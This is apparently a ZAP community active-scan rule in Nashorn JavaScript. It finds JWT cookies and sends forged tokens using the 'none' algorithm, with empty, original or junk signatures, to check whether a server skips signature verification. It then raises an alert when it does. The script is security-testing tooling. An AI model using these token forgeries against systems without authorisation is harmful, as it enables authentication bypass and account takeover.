// ECMA Script uses the Oracle Nashorn engine, therefore all standard library comes from Java
// https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/javascript.html
var Cookie = Java.type("java.net.HttpCookie");
var Base64 = Java.type("java.util.Base64");
var String = Java.type("java.lang.String");

var ScanRuleMetadata = Java.type(
  "org.zaproxy.addon.commonlib.scanrules.ScanRuleMetadata"
);
var CommonAlertTag = Java.type("org.zaproxy.addon.commonlib.CommonAlertTag");

function getMetadata() {
  return ScanRuleMetadata.fromYaml(`
id: 100026
name: JWT None Exploit
description: >
  The application's JWT implementation allows for the usage of the 'none' algorithm,
  which bypasses the JWT hash verification.
solution: >
  Use a secure JWT library, and (if your library supports it) restrict the allowed hash algorithms.
references:
  - https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
category: server
risk: high
confidence: medium
cweId: 347  # CWE-347: Improper Verification of Cryptographic Signature
wascId: 15  # WASC-15: Application Misconfiguration
alertTags:
  ${CommonAlertTag.OWASP_2021_A01_BROKEN_AC.getTag()}: ${CommonAlertTag.OWASP_2021_A01_BROKEN_AC.getValue()}
  ${CommonAlertTag.OWASP_2017_A02_BROKEN_AUTH.getTag()}: ${CommonAlertTag.OWASP_2017_A02_BROKEN_AUTH.getValue()}
  ${CommonAlertTag.WSTG_V42_CRYP_04_WEAK_CRYPTO.getTag()}: ${CommonAlertTag.WSTG_V42_CRYP_04_WEAK_CRYPTO.getValue()}
status: alpha
codeLink: https://github.com/zaproxy/community-scripts/blob/main/active/JWT%20None%20Exploit.js
helpLink: https://www.zaproxy.org/docs/desktop/addons/community-scripts/
`);
}

function b64encode(string) {
  // Terminate the string with a null byte prior to encoding. I suspect that
  // this is required because the string being created as a JavaScript string
  // and then handled like a java.lang.String object. When the null byte isn't
  // present the Base64 encode call returns the decoded string, along with
  // additional garbage characters.
  var message = (string + "\0").getBytes();
  var bytes = Base64.getEncoder().encode(message);
  return new String(bytes);
}

function b64decode(string) {
  var message = string.getBytes();
  var bytes = Base64.getDecoder().decode(message);
  return new String(bytes);
}

// Detects if a given string may be a valid JWT
function is_jwt(content) {
  var separated = content.split(".");

  if (separated.length != 3) return false;

  try {
    b64decode(separated[0]);
    b64decode(separated[1]);
  } catch (err) {
    return false;
  }

  return true;
}

function build_payloads(jwt) {
  // Build header specifying use of the none algorithm
  var header = b64encode('{"alg":"none","typ":"JWT"}');
  var separated = jwt.split(".");

  // Try a series of different JWT formats
  return [
    header + "." + separated[1] + ".", // no hash
    header + "." + separated[1] + "." + separated[2], // original (but incorrect) hash
    header + "." + separated[1] + ".\\(•_•)/", // junk hash
    header + "." + separated[1] + ".XCjigKJf4oCiKS8=", // junk (but b64 encoded) hash
    separated[0] + "." + separated[1] + ".", // old header but no hash
  ];
}

// This method is called for every node on the site
// ActiveScan as, HttpMessage msg
function scanNode(as, msg) {
  print("Scanning " + msg.getRequestHeader().getURI().toString());

  // Extract request cookies and detect if using JWT
  var cookies = msg.getRequestHeader().getHttpCookies();
  var jwt_cookies = [];
  for (var i = 0; i < cookies.length; i++) {
    var cookie = cookies[i];
    if (is_jwt(cookie.getValue())) jwt_cookies.push(cookie);
  }

  // If no cookie found: skip, if cookie(s) found, use the first
  if (jwt_cookies.length == 0) return;
  if (jwt_cookies.length > 1)
    print(
      "Multiple cookies using JWT found but not yet supported, only first will be used for testing"
    );

  // Default to the first cookie found that uses JWT
  var target_cookie = jwt_cookies[0];

  // Send a safe request (with original cookie) to see what a correct response looks like
  var msg_safe = msg.cloneRequest();
  msg_safe.setCookies([target_cookie]);
  as.sendAndReceive(msg_safe);

  // Send a completely mangled request to see if the page actually looks at the cookie
  var msg_bad = msg.cloneRequest();
  msg_bad.setCookies([new Cookie(target_cookie.getName(), "!@#$%^&*()")]);
  as.sendAndReceive(msg_bad);

  var safe_body = msg_safe.getResponseBody();
  var bad_body = msg_bad.getResponseBody();

  // If the mangled cookie gives the same response as the correct cookie, we can assume
  // that the page does not care what we send in that field and that there is not an exploit
  if (safe_body.equals(bad_body)) return;

  var payloads = build_payloads(target_cookie.getValue());

  for (var i = 0; i < payloads.length; i++) {
    var payload = payloads[i];
    var cookie_payload = new Cookie(target_cookie.getName(), payload);
    var msg_loaded = msg.cloneRequest();

    msg_loaded.setCookies([cookie_payload]);
    as.sendAndReceive(msg_loaded);

    var loaded_body = msg_loaded.getResponseBody();

    // If the body of the request sent with the none algorithm is the same as the body of the request
    // sent with the default algorithm, we know that the server is parsing the JWT instead of throwing
    // some form of server error. We can assume (in this case) that the server is parsing the none
    // algorithm and ignoring the hash--which is a vulnerability.
    if (loaded_body.equals(safe_body))
      raise_alert(msg_loaded, target_cookie, payload, as);
  }
}

function raise_alert(msg, cookie, payload, as) {
  print("Vulnerability found, sending alert");
  as.newAlert()
    .setEvidence("Cookie: " + cookie.getName() + "=" + payload)
    .setMessage(msg)
    .raise();
}
